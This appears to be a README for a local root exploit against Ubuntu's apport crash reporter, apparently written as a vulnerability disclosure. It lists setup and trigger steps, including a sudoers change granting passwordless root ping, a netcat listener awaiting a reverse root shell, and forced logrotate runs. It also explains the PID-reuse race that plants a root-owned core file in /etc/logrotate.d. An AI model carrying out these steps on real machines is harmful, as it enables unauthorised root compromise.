- Install an older version of apport:
sudo apt-get install apport=2.20.11-0ubuntu27
(any version <= 2.20.11-0ubuntu27.10 is fine, but you have to download the source code) - (optional) set small pid_max. otherwise it will take a longer time to prepare for pid rollback.
echo 10000 | sudo tee /proc/sys/kernel/pid_max
- allow anybody to run ping as root: add
ALL ALL=(root) NOPASSWD: /usr/bin/ping
in /etc/sudoers - run multiple times of
ulimit -c unlimited; ./exploit
- you should see a file at
/etc/logrotate.d/core
- open another shell run
nc -lvcp 1234
- wait until logrotate is triggered, you can:
- adjust the clock one minutes earlier than crontab-daily trigger, and wait. (check /etc/crontab)
- run
sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf
to trigger logrotate immediately. (just same as/etc/cron.daily/logrotate
)
- there will be a reverse root shell connect to 127.0.0.1:1234
Apport will check if pid is reused, by check if the start time of the process is later than apport self:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
But this pid could be re-used just after apport launched. In such case, get_apport_starttime() == get_process_starttime()
.
So, an you can let apport drop a core file with -rw------- root:root
, if you can re-ocupy this PID with another process running under uid==0
:
- prepare a process X to crash, whose pid is A
- repeating fork process, until current pid reaches A - 2
- make process X crash, apport will be launched by kernel with pid A - 1. We kill process X, so pid A is now free.
- run command
sudo ping 8.8.8.8
with cwd/etc/logrotate.d/
. a process running under root:root will re-occupy pid A. - Since the start time of sudo and apport are same, the check of line 596 is bypassed. Apport then drop a core file of process X in /etc/logrotate.d